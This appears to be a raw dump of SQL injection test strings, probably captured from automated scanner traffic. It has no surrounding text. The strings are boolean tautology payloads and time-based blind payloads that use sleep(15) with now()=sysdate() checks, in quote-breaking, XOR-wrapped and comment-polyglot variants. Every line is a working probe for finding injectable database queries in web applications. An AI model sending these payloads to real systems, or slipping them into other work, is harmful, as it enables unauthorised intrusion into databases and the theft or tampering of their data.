1

-1' OR 2+249-249-1=0+0+0+1 or 'Cj9Yrunf'='

-1" OR 2+496-496-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

-1" OR 2+795-795-1=0+0+0+1 --

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

if(now()=sysdate(),sleep(15),0)

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z